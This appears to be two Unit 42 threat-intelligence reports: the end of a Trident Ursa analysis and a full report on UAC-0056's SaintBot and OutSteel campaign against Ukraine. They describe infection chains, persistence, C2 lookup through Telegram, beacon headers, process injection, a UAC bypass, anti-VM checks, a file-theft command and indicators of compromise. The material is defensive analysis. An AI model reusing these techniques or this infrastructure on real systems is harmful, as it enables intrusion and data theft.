+It appears that these threat actors are currently trying to stymie threat researchers by blocking ExpressVPN and
+NordVPN nodes within Ukraine. In addition, it appears that the actor is potentially conducting additional filtering
+to further control access to payloads. For example, VirusTotal receives an HTTP status code of 200, indicating
+success when requesting the above URL, but the overall content length of the reply is 0 bytes.
+If the filtering conditions are met, the target downloads presented.rtf (SHA256
+3990c6e9522e11b30354090cd919258aabef599de26fc4177397b59abaf395c3) upon opening the .lnk. The
+presented.rtf file is actually an HTA file that contains VBScript code.
+7/13
+This HTA file decodes two embedded Base64-encoded VBScripts, one of which it will save to
+%USERPROFILE%\josephine, and the other it runs using Execute. The VBScript decoded and executed by the
+presented.rtf file is responsible for adding persistence by running the VBScript saved to the josephine file each time
+the user logs in. The VBScript file saved to josephine is the payload at the end of this installation process.
+The first VBScript responsible for enabling persistent access to the system does so by creating a Windows scheduled
+task and a registry key, both of which are common Trident Ursa techniques. This script creates a new scheduled task
+named Filmora.Complete that runs the josephine script every five minutes, as shown in the scheduled task
+information displayed in Figure 7.
+Figure 7. Filmora.Complete scheduled task used to run payload every five minutes.
+The script also creates an autorun registry key to automatically run the josephine VBScript when the user logs in.
+Figure 8 shows the autorun registry key named telemetry added to the system to run the VBScript at user login.
+Figure 8. Autorun registry key used to run VBScript at user login.
+The josephine script acts as the functional code of the backdoor, which allows the threat actors to run additional
+VBScript code supplied by a C2 server. The script contains two different methods to determine the IP address of its
+C2 server, with which it communicates directly.
+8/13
+The first method involves pinging the domain THEN<random number>.ua-cip[.]org using the following Windows
+Management Instrumentation (WMI) query and checking the ProtocolAddress value to determine the C2 IP
+address:
+If the script is unable to reach this domain, it attempts to access the Telegram URL hxxps://t[.]me/s/vzloms to get
+the C2 IP address. It does this by checking the response using a regular expression of ==([0-9\@]+)==.
+After obtaining the C2 IP address, this script will communicate with its C2 by issuing a custom crafted HTTP GET
+request, as seen in Figure 9. The custom fields modified in the HTTP request include a hardcoded user-agent with
+the computer name, volume serial number and the string ::/.josephine/. appended, as well as a hardcoded string
+used in the Accept-Language field.
+Figure 9. HTTP request sent to the C2 server.
+The josephine script reads the responses to this HTTP request, decodes the Base64 data within the response and
+executes it as a VBScript. We have not observed an active C2 server providing VBScripts in response to HTTP
+requests from the josephine script.
+Phishing Using Word Documents
+The latest phishing documents we
+ve seen Trident Ursa use have low detection rates in VirusTotal, likely due to their
+simplicity. For example, SHA256 c22b20cee83b0802792a683ea7af86230288837bb3857c02e242fb6769fa8b0c
+shows 0/61 detections as of Dec. 8, 2022.
+Figure 10. VirusTotal detections for c22b20cee83b0802792a683ea7af86230288837bb3857c02e242fb6769fa8b0c.
+This file relates to a purported tender to purchase computer equipment for the National Academy of Security
+Service of Ukraine. The file contains no malicious code in and of itself. When opened, the file attempts to contact
+and download its remote template from hxxp://relax.salary48.minhizo[.]ru/MAIL/gloomily/along.rcs.
+This template, along.rcs (SHA256: 007483ad49d90ac2cabe907eb5b3d7eef6a5473217c83b0fe99d087ee7b3f6b3) is
+an object linking and embedding (OLE) file that contains a macro that runs the malicious code. The macro itself
+resembles the VBScript code within the HTA file mentioned above, used to load additional scripts.
+9/13
+The installation VBScript saves the payload VBScript to %USERPROFILE%\Downloads\frontier\decisive and
+creates a scheduled task named GetSynchronization-USA to automatically run this payload every five minutes.
+The payload VBScript is the same as the payload above. It attempts to get the C2 IP address via a ping to <random
+number>decisive.hungzo[.]ru and a regular expression on the response from a specific Telegram URL,
+hxxps://t[.]me/s/templ36.
+Once it has the IP address, the script creates an HTTP GET request to hxxp://<IP address of C2>/snhale<random
+number>/index.html=?<random number> with custom HTTP fields it populates with the following activities:
+Appending the computer name and volume serial number in the custom user-agent field, (windows nt 6.1;
+win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/90.0.4430.85 safari/537.36, along with the static
+string ;;/.insufficient/.
+Using frameS5V as the cookie value
+Setting the Referrer to hxxps://developer.mozilla[.]org/en-US/docs/Web/JavaScript
+Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
+Setting Content-Length to 4649
+Lastly, the script will Base64 encode the response to this URL and attempt to execute it.
+Recently Seen Droppers
+Over the past three months, we
+ve seen Trident Ursa use two different, yet very similar, droppers. The first dropper,
+usually named 7ZSfxMod_x86.exe, is the traditional 7-Zip self-extracting (SFX) archive technique the actor has
+used for years.
+In these SFX files, the installation configuration script runs an embedded VBScript using Windows Script Host
+(wscript.exe). The second dropper, usually named myfile.exe according to the executable
+s RT_VERSION resource,
+is effectively a loader that drops two files and eventually runs them as VBScript using wscript.
+7ZSfxMod_x86.exe
+A recent sample (SHA256 ac1f3a43447591c67159528d9c4245ce0b93b129845bed9597d1f39f68dbd72f) runs the
+following installation script when opened:
+Along with the installation script, the archive contains a VBScript named 19698.mov (SHA256:
+f488bd406f1293f7881dd0ade8d08f2b1358ddaf7c4af4d27d95f6f047339b3a) referenced within the installation
+script. Similar to the examples above, the VBScript will try two different methods to obtain its C2 location.
+10/13
+First, the script runs a WMI query to ping the C2 domain <random number>delirium.sohrabt[.]ru. Should this fail,
+it also includes a second C2 location routine that will reach out to a Telegram page at hxxps://t[.]me/s/vbs_run14.
+It then uses a regular expression of ==([0-9\@]+)== to find an IP address within the response.
+The script replaces the "@" characters with a "." within the match of the regex to make an IPV4 address in dot
+notation, and it writes the resulting IP address to the file %TEMP%\prDK6.
+Once it has the IP address, the script creates an HTTP GET request to hxxp://<IP address of C2>/snhale<random
+number>/index.html=?<random number> with custom HTTP fields it populates with the following activities:
+Appending the computer name and volume serial number in the custom user-agent field, mozilla/5.0
+(windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/86.0.4240.193 safari/537.36,
+along with the static string ;;/.snventor/.
+Using defective as the cookie value
+Setting the Referrer to hxxps://www.unn.com[.]ua/ru/
+Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
+Setting Content-Length to 2031
+The script, like the one mentioned above, reads the response to this beacon, decodes the Base64 data within the
+response and runs the result as a VBScript using the Execute method. This script also has a backup URL that it will
+use if it receives an HTTP response status other than 200 or 404, specifically hxxp://<IP address of
+C2>/snquiries<random number>/index.html=?<random number>.
+Myfile.exe
+A recent sample (SHA256: a79704074516589c8a6a20abd6a8bcbbcc5a39a5ddbca714fbbf5346d7035f42) works as a
+loader that drops two files and eventually runs them as VBScripts using the wscript application.
+First, the executable reads its own file data and skips to the end of the Portable Executable (PE) file to access the
+overlay data that was appended to the executable. The executable then decrypts the overlay data in reverse by using
+XOR on each byte with the byte that precedes it. Using this data, the executable writes the cleartext to the following
+locations:
+C:\Users\<username>\nutfgqsjs.fjyc
+C:\Users\<username>\16403.dll
+The binary concatenates some strings to the contents written to nutfgqsjs.fjyc before writing this file to disk,
+specifically lines of VBScript code to delete the initial executable and the two VBScript files. The executable
+concludes by running the nutfgqsjs.fjyc script by calling CreateProcessA using the following command line:
+The nutfgqsjs.fjyc file is a VBScript file that contains a significant amount of comments that are meant to hide the
+actual code. This script includes the following functional code that runs the 16403.dll VBScript:
+11/13
+The file 16403.dll is another VBScript with the functional code that decodes another VBScript and runs it. After
+several layers of decoding and replacing text, the ultimate VBScript eventually runs. This final VBScript uses the
+same techniques described in the .lnk and 7ZSfxMod_x86.exe descriptions above.
+First, the script runs a WMI query to ping the C2 domain morbuso[.]ru. Should this fail, it also includes a second C2
+location routine that will reach out to a Telegram page, specifically hxxps://t[.]me/s/dracarc. As of Nov. 18, this
+account (@dracarc) returned the following, ==104@248@36@191==. Using the regular expression of ==([09\@]+)== this is converted to the IP 104.248.36[.]191 and used for follow-on communications.
+The script then creates an HTTP GET request to hxxp://<IPV4>/justly/CRONOS.icn?=Chr with custom HTTP
+fields it populates with the following activities:
+Appending the computer name and volume serial number in the custom user-agent field, mozilla/5.0
+(macintosh; intel mac os x 10_15_3) applewebkit/605.1.15 (khtml, like gecko) version/13.0.5 safari/605.1.15;;
+along with the static string ;;/.justice/.
+Using jealous as the cookie value
+It does not set Referrer in this instance
+Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
+Setting Content-Length to 5537
+Lastly, the script will Base64 encode the response to this URL and attempt to execute it.
+Conclusion
+Trident Ursa remains an agile and adaptive APT that does not use overly sophisticated or complex techniques in its
+operations. In most cases, they rely on publicly available tools and scripts 
+ along with a significant amount of
+obfuscation 
+ as well as routine phishing attempts to successfully execute their operations.
+This group
+s operations are regularly caught by researchers and government organizations, and yet they don
+t seem
+to care. They simply add additional obfuscation, new domains and new techniques and try again 
+ often even
+reusing previous samples.
+Continuously operating in this way since at least 2014 with no sign of slowing down throughout this period of
+conflict, Trident Ursa continues to be successful. For all of these reasons, they remain a significant threat to
+Ukraine, one which Ukraine and its allies need to actively defend against.
+Protections and Mitigations
+The best defense against Trident Ursa is a security posture that favors prevention. We recommend that
+organizations implement the following measures:
+12/13
+Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat
+group.
+Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs.
+Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure.
+In addition, if an organization does not have a specific use case for services such as Telegram Messaging and
+domain lookup tools within their business environment, add these domains to the organization
+s block list or
+do not add them to the allow list in the case of Zero Trust networks.
+Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru).
+If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident
+Response team or call:
+North America Toll-Free: 866.486.4842 (866.4.UNIT42)
+EMEA: +31.20.299.3130
+APAC: +65.6983.8730
+Japan: +81.50.1790.0200
+For Palo Alto Networks customers, our products and services provide the following coverage associated with this
+campaign:
+Cortex XDR customers receive protection at the endpoints from the malware techniques described in this
+blog.
+WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as
+malicious.
+Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this
+group as malicious.
+Next-Generation Firewalls with an Advanced Threat Prevention security subscription can block the attacks
+with Best Practices via Threat Prevention signature 86694.
+Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with the
+Computer Emergency Response Team of Ukraine as well as our fellow Cyber Threat Alliance members. These
+organizations use this intelligence to rapidly deploy protections to their customers and to systematically disrupt
+malicious cyber actors.
+Indicators of Compromise
+A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub.
+Additional Resources
+Russia
+s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated June 22)
+Ukraine in maps: Tracking the war with Russia
+Russia
+s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless
+Get updates from Palo Alto Networks!
+Sign up to receive the latest news, cyber threat intelligence and research from us
+By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
+13/13
+Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include
+the Document Stealer OutSteel and the Downloader SaintBot
+unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot
+February 26, 2022
+By Unit 42
+February 25, 2022 at 5:30 PM
+Category: Malware
+Tags: Advanced URL Filtering, AutoFocus, Cortex, information disclosure, OutSteel, Phishing, SaintBot, Ukraine, WildFire
+This post is also available in: 
+ (Japanese)
+Executive Summary
+On Feb. 1, 2022, Unit 42 observed an attack targeting an energy organization in Ukraine. CERT-UA publicly attributed the
+attack to a threat group they track as UAC-0056. The targeted attack involved a spear phishing email sent to an employee of
+the organization, which used a social engineering theme that suggested the individual had committed a crime. The email
+had a Word document attached that contained a malicious JavaScript file that would download and install a payload known
+as SaintBot (a downloader) and OutSteel (a document stealer). Unit 42 discovered that this attack was just one example of a
+larger campaign dating back to at least March 2021, when Unit 42 saw the threat group target a Western government entity
+in Ukraine, as well as several Ukrainian government organizations.
+The OutSteel tool is a simple document stealer. It searches for potentially sensitive documents based on their file type and
+uploads the files to a remote server. The use of OutSteel may suggest that this threat group
+s primary goals involve data
+collection on government organizations and companies involved with critical infrastructure. The SaintBot tool is a
+downloader that allows the threat actors to download and run additional tools on the infected system. SaintBot provides the
+actors persistent access to the system while granting the ability to further their capabilities.
+While the OutSteel and SaintBot payloads were common among the attacks, the actors used different social engineering
+themes and infection chains to compromise systems. The actors used current events and other pertinent themes to trick
+recipients into opening documents, clicking links, enabling malicious content or running executables directly to
+compromise their systems. Early attacks in March and April 2021 used cryptocurrency and COVID themes, while we
+observed the actors using law enforcement-related themes and fake resumes in the May-July 2021 and the February 2022
+attacks. The use of law enforcement-related themes in attacks spanning several months suggests that the threat group
+favors this social engineering theme in the absence of a trending topic or current event.
+The use of email as the attack vector remains the same in all attacks carried out by this threat group. While the spear
+phishing emails are a common component, each attack uses a slightly different infection chain to compromise the system.
+For instance, the actors have included links to Zip archives that contain malicious shortcuts (LNK) within the spear
+phishing emails, as well as attachments in the form of PDF documents, Word documents, JavaScript files and Control Panel
+File (CPL) executables. Even the Word documents attached to emails have used a variety of techniques, including malicious
+macros, embedded JavaScript and the exploitation of CVE-2017-11882 to install payloads onto the system. With the
+exception of the CPL executables, most of the delivery mechanisms rely on PowerShell scripts to download and execute code
+from remote servers.
+For more comprehensive information about the Russia-Ukraine crisis, including an overview of known attacks and
+recommendations for how to protect against possible threats, please see our post, 
+Russia-Ukraine Crisis: How to Protect
+Against the Cyber Impact.
+Palo Alto Networks customers receive protections against the attacks described via products and services including Cortex
+XDR and the WildFire, Advanced URL Filtering and DNS Security security subscriptions for the Next-Generation Firewall.
+1/30
+Related Unit 42 Topics
+Russia-Ukraine Crisis Cyber Impact, Phishing
+Table of Contents
+Attack Overview
+Links to Prior Attacks
+Payload Analysis for Feb. 2 Attack
+Initial Loader
+Additional Files Associated With the Attack
+Conclusion
+Additional Resources
+Indicators of Compromise
+Appendix A: Prior Attacks Associated With UAC
+0056
+March 2021 Attacks
+April 2021 Attacks
+May 2021 Attacks
+June 2021 Attacks
+July 2021 Targeting
+Attack Overview
+On Feb. 1, 2022, Unit 42 observed threat actors sending a targeted email to an individual at an energy organization in
+Ukraine. The email had the following attributes:
+From: mariaparsons10811@gmail[.]com
+Subject: 
+ (<redacted targeted individual
+s name>
+Attachment: 
+ (<redacted targeted individual
+s name>).docx
+The email subject and the filename of the attached document translate from Ukrainian to Report on the commission of a
+crime (<redacted targeted individual
+s name>). The email suggests that the individual was involved in criminal activity,
+which is likely part of the actor's social engineering efforts to convince the targeted individual to open the attachment. The
+malicious Word document displays the following contents:
+2/30
+Figure 1. A malicious Word document attached to a spear phishing email sent to a targeted individual at a Ukrainian organization. The
+apparent redactions were added by the threat actor as a lure to induce the target to click icons in the document.
+The content within the attached document also follows the theme in the delivery email, as it appears to be a redacted
+criminal investigation report from the National Police of Ukraine. The document instructs the user to click the icons with
+the exclamation point to display the redacted contents hidden by black bars over the text. Each of the supposedly redacted
+pieces of content has an icon that, when double-clicked, runs malicious JavaScript (SHA256:
+b258a747202b1ea80421f8c841c57438ffb0670299f067dfeb2c53ab50ff6ded) that is embedded within the document. When
+the user double-clicks the icon, Word effectively writes the following file to the system and runs it with Windows Script Host
+(wscript):
+C:\Users\ADMINI~1\AppData\Local\Temp\GSU207@POLICE.GOV.UA - 
+ (15).js
+The JavaScript file will run the following process that in turn runs a PowerShell script:
+3/30
+Figure 2. PowerShell one-liner.
+The PowerShell one-liner above will download an executable from the following URL, save it to
+%PUBLIC%\GoogleChromeUpdate.exe and execute it:
+hxxps://cdn.discordapp[.]com/attachments/932413459872747544/938291977735266344/putty.exe
+According to CERT-UA, this PowerShell one-liner also appears in another attack attributed to this group that occurred a few
+days earlier on Jan. 31.
+Based on our analysis of the payload that this attempted spear phishing attack leads to, which includes the SaintBot
+downloader and the OutSteel document stealer, we suspect that the threat group
+s goals for this attack involve exfiltrating
+data from the energy organization.
+Links to Prior Attacks
+CERT-UA mentioned that they track this activity using the moniker UAC-0056, while other organizations track this group
+with the names TA471, SaintBear and Lorec53. Our research shows that these attacks have various overlaps with previous
+attack campaigns focused on other organizations in Ukraine and Georgia, as well as other nations
+ assets local to Ukraine.
+These overlaps involve the use of the SaintBot downloader, shared infrastructure and other common elements. Figure 3
+shows a timeline of the known attacks related to this threat group, specifically, the day the spear phishing emails were sent
+and the subject line of each email.
+Figure 3. A timeline of known attacks related to UAC-0056, showing the date spear phishing emails were sent and their subject lines.
+The timeline shows several attacks between April and July 2021. There is then a gap of several months between the 2021
+attacks and attacks that have been observed in 2022. This is more likely due to a lack of visibility rather than a pause in
+activity. We believe that the threat group did not pause their activity as we are aware of additional delivery documents and
+payloads that suggest additional attacks occurred during the apparently inactive periods on the timeline.
+Details of known prior attacks associated with UAC-0056 are available in Appendix A. Attacks described in the appendix
+include:
+March 2021: An attack campaign against targets in Georgia using Bitcoin and COVID themes.
+April 2021: Bitcoin-themed spear phishing emails targeting Ukrainian government organizations.
+May 2021: Law enforcement-themed attacks targeting Ukrainian government organizations.
+June 2021: Law-enforcement themed attack against a Ukrainian government organization
+July 2021: Spear phishing attempt on a Western government entity in Ukraine.
+Payload Analysis for Feb. 2 Attack
+4/30
+As seen above, the actors leverage Discord
+s content delivery network (CDN) to host their payload, which is a common
+technique that the threat group uses across many of their attacks. The use of Discord benefits threat actors since the
+popularity of Discord
+s servers for gaming, community groups and other legitimate usage causes many URL filtering
+systems to place a high degree of trust in its domain. Discord
+s terms of service do not allow malicious use of its CDN, and
+the company has been working to find and block abuses of its platform.
+In this attack, this URL was hosting a malicious executable (SHA256:
+f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff) that is a loader. This acts as the first stage of
+several in the overall infection chain, each of which have varying levels of complexity. Ultimately, this infection chain results
+in the installation and execution of a document stealer called OutSteel, a loader Trojan called SaintBot, a batch script turned
+into an executable that disables Windows Defender and a legitimate Google Chrome installation executable.
+Initial Loader
+The executable initially downloaded by the JavaScript in the delivery document is an initial loader Trojan, whose developers
+signed using a certificate (SHA1: 60aac9d079a28bd9ee0372e39f23a6a92e9236bd) that has "Electrum Technologies
+GmbH" within the organization field. This is related to the Electrum Bitcoin wallet, as seen in the following:
+Certificate:
+Data:
+Version: 3 (0x2)
+Serial Number:
+3b:11:e7:6e:da:51:82:ce:c2:d4:e7:2d:8c:05:f6:9a
+Signature Algorithm: sha256WithRSAEncryption
+Issuer: C=US, O=thawte, Inc., CN=thawte SHA256 Code Signing CA - G2
+Validity
+Not Before: May 8 00:00:00 2020 GMT
+Not After : May 8 23:59:59 2022 GMT
+Subject: C=DE, ST=Berlin, L=Berlin, O=Electrum Technologies GmbH, CN=Electrum Technologies GmbH
+This first-stage loader is a simple wrapper for the next few stages 
+ these later stages will simply decrypt a DLL from its
+resources, before loading it into memory and invoking its entry point.
+Figure 4. Loading decrypted SHCore2.dll and invoking entry point.
+5/30
+The packer used to pack and obfuscate this initial loader allows a user to clone .NET assemblies from other .NET binaries,
+as well as from cloning certificates. This explains how a large portion of the payload is taken from a legitimate library, as
+well as the attached Electrum certificate.
+The decrypted DLL, named SHCore2.dll, is also obfuscated, though interestingly, the obfuscator did not completely strip the
+class names, as can be seen in Figure 5 below. This allows us to quickly gather some information on the functionality of the
+sample. While it may seem like the DLL is the final payload, it is merely another stager, which will decrypt and execute a
+total of four embedded binaries.
+Figure 5. SHCore2.dll classes.
+The stager contains some interesting anti-analysis functionality, refusing to execute inside a virtual machine, and in some
+cases, on bare metal systems. While that makes it difficult to perform dynamic analysis, before performing any virtual
+machine checks, the sample does call functions within the Class5_Decrypter class, which is responsible for decrypting the
+embedded payloads. This allows us to debug the sample and extract those payloads once decrypted.
+6/30
+Figure 6. Decrypted 
+config
+ file in SHCore2.dll memory.
+The four embedded binaries decrypted and executed by the stager include OutSteel, SaintBot, an executable that runs a
+batch script to disable Windows Defender and the Google Chrome installer, as seen in Table 1.
+SHA256
+Description
+7e3c54abfbb2abf2025ccf05674dd10240678e5ada465bb0c04a9109fe46e7ec
+OutSteel AutoIT file uploader
+0da1f48eaa7956dda58fa10af106af440adb9e684228715d313bb0d66d7cc21d
+PureBasic executable, used to drop a
+Disable Windows Defender batch file
+0f9f31bbc69c8174b492cf177c2fbaf627fcdb5ac4473ca5589aa2be75cee735
+Legitimate Google Chrome installer
+82d2779e90cbc9078aa70d7dc6957ff0d6d06c127701c820971c9c572ba3058e
+SaintBot .NET Loader
+Table 1. Embedded binaries within the loader.
+Additional Files Associated With the Attack
+Below is a more detailed analysis of four additional files that come into play after the initial loader executes.
+OutSteel
+OutSteel is a file uploader and document stealer developed with the scripting language AutoIT. It is executed along with the
+other binaries listed in Table 1. It begins by scanning through the local disk in search of files containing specific extensions,
+before uploading those files to a hardcoded command and control (C2) server. In this sample, the C2 server it reaches out to
+is 185[.]244[.]41[.]109:8080, with the endpoint /upld/.
+7/30
+Figure 7. OutSteel main file search loop.
+Scanning is performed through the use of CMD commands, as seen below:
+cmd.exe /U /C DIR 
+\Users\Admin\*.docx
+ /S /B/ A
+The list of file extensions that OutSteel gathers using the commands above is shown in Table 2, and the choice of these
+extensions is likely an attempt to gather potentially sensitive files. These file types include documents for Microsoft Office
+suite applications, Microsoft Access database files, Microsoft Outlook data files and various archive file types.
+*.doc
+*.ppt
+*.xls
+*.rtf
+*.accdb
+*.pst
+*.zip
+*.docx
+.pptx
+*.xlsx
+*.dot
+*.pot
+*.ppa
+*.tar
+*.pdf
+*.dot
+*.csv
+*.mdb
+*.pps
+*.rar
+*.7z
+*.txt
+Table 2. File extensions gathered by OutSteel.
+The command output will be read by the AutoIT payload, and each file will be uploaded to the C2, using the HTTP.au3
+library.
+Once the script has finished uploading all relevant files to the C2, it will then attempt to download a file to
+%TEMP%\svjhost.exe from the secondary hardcoded C2 eumr[.]site. The downloaded payload is a sample of the SaintBot
+.NET loader, also extracted from the SHCore2 DLL, and if downloaded successfully, will be executed via the command line.
+Figure 8. OutSteel downloads SaintBot and executes rmm.bat
+The script comes to a close after creating a .bat file named rmm.bat in the current directory, which will delete itself and the
+original payload, prior to terminating any running cmd.exe processes.
+Figure 9. rmm.bat file contents.
+At this point, the AutoIT script exits, leaving SaintBot residing in memory.
+windows_defender_disable.bat
+8/30
+This batch file is used to disable Windows Defender functionality. It accomplishes this by executing multiple commands via
+CMD that modify registry keys and disabling Windows Defender scheduled tasks. This script is open source and available on
+GitHub, so there is no custom element to this specific sample. This is done to reduce the risk of the dropped payloads being
+detected by Windows Defender.
+Figure 10. windows_defender_disable.bat script.
+SaintBot .NET Loader
+The SaintBot .NET loader is also composed of several stages, with varying levels of obfuscation. It begins by executing a
+single PowerShell one-liner, which results in the execution of cmd.exe, passing the command timeout 20. Once the timeout
+completes, the loader will resume.
+Figure 11. Execution of PowerShell one-liner.
+The first layer of the loader will extract a reversed .NET binary from its resources, before flipping, loading into memory and
+executing it.
+9/30
+Figure 12. Reversed binary within resources.
+This secondary layer contains far more obfuscation than the first, also implementing obfuscation through obscurity with
+around 140 different classes. Also stored within these classes are several virtual machine and sandbox checks, such as
+checking if Sbiedll.dll is present in the list of loaded modules, comparing the machine name to HAL9TH and the user name
+to JohnDoe, and checking the BIOS version for known virtual machine identifiers.
+Figure 13. Anti-VM check.
+The quickest way to bypass these checks is to simply set a breakpoint on the Invoke() function and modify any values within
+memory to make sure no matches are discovered by the sample.
+Once all checks have been passed, the second stage of the loader will extract the SaintBot binary from its resources and
+decrypt it. From there, it begins loading in different API calls, including VirtualAllocEx, WriteProcessMemory,
+CreateProcessA and SetThreadContext. These calls are used to spawn MSBuild.exe in a suspended state before injecting the
+decrypted SaintBot binary into it, modifying the thread context to point to the malicious entry point and resuming the
+process.
+10/30
+Figure 14. Loading process injection API.
+SaintBot Payload
+SaintBot is a recently discovered malware loader, documented in April 2021 by MalwareBytes. It contains capabilities to
+download further payloads as requested by threat actors, executing the payloads through several different means, such as
+injecting into a spawned process or loading into local memory. It can also update itself on disk 
+ and remove any traces of
+its existence 
+ as and when needed.
+SHA-256: e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c
+Upon execution within the MSBuild process, SaintBot will perform several anti-analysis checks, as well as a locale check. If
+any of these checks fail, a batch script named del.bat is dropped to the %APPDATA% folder and executed, removing any
+SaintBot payload-linked files from the system.
+Figure 15. System locale checks.
+If the checks are passed, the payload attempts to locate slideshow.mp4 from the %LOCALAPPDATA%\zz%USERNAME%
+path, where slideshow.mp4 is actually a copy of ntdll.dll. If the file is not found, SaintBot assumes it has not yet been
+installed on the system and therefore jumps to the installation procedure. This involves creating a directory in the
+%LOCALAPPDATA% folder, with the name set to zz%USERNAME%. Then, the local ntdll.dll binary is copied over to the
+newly created folder and renamed to slideshow.mp4. Along with that, a .vbs and .bat script are dropped, named
+%USERNAME%.vbs and %USERNAME%.bat. Once the installation routine is complete, the payload executes itself once
+again and exits.
+11/30
+Figure 16. Setting up core SaintBot folders.
+If slideshow.mp4 is discovered on the initial check, it is used to load in the core API provided by ntdll.dll. This is done to
+avoid any hooks placed on API calls within the original ntdll.dll by EDR/AV software.
+Figure 17. Resolving API through slideshow.mp4.
+At this point, the payload then checks to see if it is running under the process name dfrgui.exe, and if not, it will spawn
+dfrgui.exe from the %SYSTEM% directory. This spawned process is then injected into dfrgui.exe using NtQueueApcThread
+to resume the process, and the original MSBuild process terminates.
+12/30
+Figure 18. Injection into dfrgui.exe
+If SaintBot is running inside dfrgui.exe, it will confirm whether or not it is running with administrator privileges. If not, it
+will attempt to bypass UAC using fodhelper.exe.
+Figure 19. Privilege escalation via fodhelper.exe
+Persistence is then set up through the CurrentVersion\Run registry key, and communication finally begins with the C2
+server. This sample has a total of three C2 servers embedded within it, all reaching out to the same /wp-adm/gate.php
+endpoint.
+13/30
+Figure 20. Hardcoded C2s.
+This particular sample accepts six total commands from the C2 server:
+Command
+Purpose
+de:regsvr32
+Execute an EXE or DLL (using regsvr32) via cmd.exe
+de:LoadMemory
+Spawn copy of dfrgui.exe and inject downloaded executable into process
+de:LL
+Download DLL and load into memory with LdrLoadDll()
+update
+Update SaintBot binary
+uninstall
+Uninstall SaintBot from machine
+Table 3. SaintBot commands.
+Conclusion
+Unit 42 research discovered a threat group targeting an energy organization that is part of Ukraine
+s critical infrastructure.
+This attack is part of a year-long campaign of attacks that not only targeted Ukrainian government organizations, but also
+foreign nations
+ embassies in Ukraine. The threat group delivered a malicious payload called OutSteel that is capable of
+automatically exfiltrating various types of files, including documents, archives, database files and files containing emailrelated data. Based on the list of targeted organizations and the use of a file exfiltration tool, we believe this threat group
+primary goal is to steal sensitive information for the purpose of situational awareness and leverage in dealing with Ukraine.
+For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign:
+Cortex XDR protects endpoints from the SaintBot malware described in this blog.
+WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
+Advanced URL Filtering and DNS Security identify domains associated with this attack campaign as malicious.
+Users of the AutoFocus contextual threat intelligence service can view malware associated with these attacks using the
+SaintBot, SaintBot_Loader and OutSteel tags.
+14/30
+Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber
+Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to
+systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
+Additional Resources
+A deep dive into SaintBot, a new downloader
+Targeted Phishing Attack Against Ukrainian Government Expands to Georgia
+Spearphising Attack Uses COVID 21 Lure to Target Ukrainian Government
+CERT-UA Post from July 13, 2021
+CERT-UA Post from Feb. 2, 2022
+Russia-Ukraine Crisis: How to Protect Against the Cyber Impact
+Russia-Ukraine Crisis Briefings: How to Protect Against the Cyber Impact
+Palo Alto Networks Resource Page: Protect Against the Cyber Impact of the Russia-Ukraine Crisis
+Indicators of Compromise
+Delivery Hashes
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+15/30
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+Payload Hashes
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+16/30
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+9917c962b7e0a36592c4740d193adbd31bc1eae748d2b441e77817d648487cff
+9a72e56ac0f1badd3ca761b53e9998a7e0525f2055dbec01d867f62bdb30418e
+9cf4b83688dd5035623182d6a895c61e1e71ea02dc3e474111810f6641df1d69
+9d7c3463d4a4f4390313c214c7a79042b4525ae639e151b5ec8a560b0dd5bd0a
+9ec80626504ca869f5e731aef720e446936333aaf6ab32bae03c0de3c2299f34
+9ee1a587acaddb45481aebd5778a6c293fe94f70fe89b4961098eb7ba32624a8
+9ef2d114c329c169e7b62f89a02d3f7395cb487fcd6cff4e7cac1eb198407ba6
+9fbeb629ea0dc72ac8db680855984d51b28c1195e48abff2e68b0228f49d5b0f
+a61725f3b57fd45487688ad06f152d0db139a6cb29f3515ea90ffe15cb7e9a7a
+a9a89bb76c6f06277b729bc2de5e1aaef05fc0d9675edbc0895c7591c35f17eb
+afdc010fc134b0b4a8b8788d084c6b0cff9ea255d84032571e038f1a29b56d0a
+b02c420e6f8a977cd254cd69281a7e8ce8026bda3fc594e1fc550c3b5e41565d
+b0b0cb50456a989114468733428ca9ef8096b18bce256634811ddf81f2119274
+b0b4550ba09080e02c8a15cec8b5aeaa9fbb193cec1d92c793bdede78a70cec6
+b1af67bcfaa99c369960580f86e7c1a42fc473dd85a0a4d3b1c989a6bc138a42
+b2f5edef0e599005e205443b20f6ffd9804681b260eec52fa2f7533622f46a6c
+b6e34665dd0d045c2c79bf3148f34da0b877514a6b083b7c8c7e2577362463b3
+b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939
+b83c41763b5e861e15614d3d6ab8573c7948bf176143ee4142516e9b8bcb4423
+b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43
+bd83e801b836906bab4854351b4d6000e0a435736524a504b9839b5f7bdf97cc
+c222122fe3e1206ba2363c17fb37ae2f8e271840e17b3bb9ba5359f2793f9574
+c33a905e513005cee9071ed10933b8e6a11be2335755660e3f7b2adf554f704a
+c532d19652ea6d4e0ebb509766de1ec594dd80152f92f7ef6b80ad29d2aa8cf4
